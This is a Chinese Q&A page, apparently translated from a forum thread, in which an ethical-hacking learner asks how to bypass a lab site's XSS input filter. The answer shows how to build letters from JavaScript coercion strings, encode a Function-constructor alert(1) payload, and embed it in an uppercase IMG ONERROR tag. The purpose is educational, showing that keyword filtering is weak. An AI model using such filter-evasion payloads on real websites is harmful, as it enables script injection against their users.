如何进行XSS攻击? [已关闭]

问题描述 投票:0回答:1

我正在尝试学习道德黑客行为。我正在尝试实验室教程,网站过滤输入。网站如下。我可以尝试什么?

我尝试了alert(1),但这是js函数。已经过滤了。

d
1个回答
2
投票

可以从将各种 JavaScript 值转换为可以从各种表达式创建的字符串的类型中提取小写字符:

!0+''   = 'true'
!1+''   = 'false'
{}+''   = '[object Object]'
1/0+''  = 'Infinity'
0/0+''  = 'NaN'
[]._+'' = 'undefined'

从中我们可以通过索引这些字符串来获取大部分字母表:

a: (!1+'')[1]
b: ({}+'')[2]
c: ({}+'')[5]
d: ([]._+'')[2]
e: (!1+'')[4]
f: (1/0+'')[2]
g:
h:
i: (1/0+'')[3]
j: ({}+'')[3]
k:
l: (!1+'')[2]
m:
n: (1/0+'')[1]
o: ({}+'')[1]
p:
q:
r: (!0+'')[1]
s: (!1+'')[3]
t: ({}+'')[6]
u: (!0+'')[2]
v:
w:
x:
y: (1/0+'')[7]
z:

(其他字符可以间接获得或从其他一些没有想到的表达中获得。)

然后我们可以对有效负载进行编码,如下所示:

({}['constructor']['constructor']('alert'+'(1)'))()

进入这个怪物:

({}[({}+'')[5]+({}+'')[1]+(1/0+'')[1]+(!1+'')[3]+({}+'')[6]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+({}+'')[6]+({}+'')[1]+(!0+'')[1]][({}+'')[5]+({}+'')[1]+(1/0+'')[1]+(!1+'')[3]+({}+'')[6]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+({}+'')[6]+({}+'')[1]+(!0+'')[1]]((!1+'')[1]+(!1+'')[2]+(!1+'')[4]+(!0+'')[1]+({}+'')[6]+'(1)'))()

可以将其封装在大写 IMG HTML 标签 ONERROR 属性中(HTML 不区分大小写):

<IMG SRC="/" ONERROR="({}[({}+'')[5]+({}+'')[1]+(1/0+'')[1]+(!1+'')[3]+({}+'')[6]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+({}+'')[6]+({}+'')[1]+(!0+'')[1]][({}+'')[5]+({}+'')[1]+(1/0+'')[1]+(!1+'')[3]+({}+'')[6]+(!0+'')[1]+(!0+'')[2]+({}+'')[5]+({}+'')[6]+({}+'')[1]+(!0+'')[1]]((!1+'')[1]+(!1+'')[2]+(!1+'')[4]+(!0+'')[1]+({}+'')[6]+'(1)'))()">

简而言之,这种过滤策略并不安全,注射次数仅受您的决定的限制。

© www.soinside.com 2019 - 2024. All rights reserved.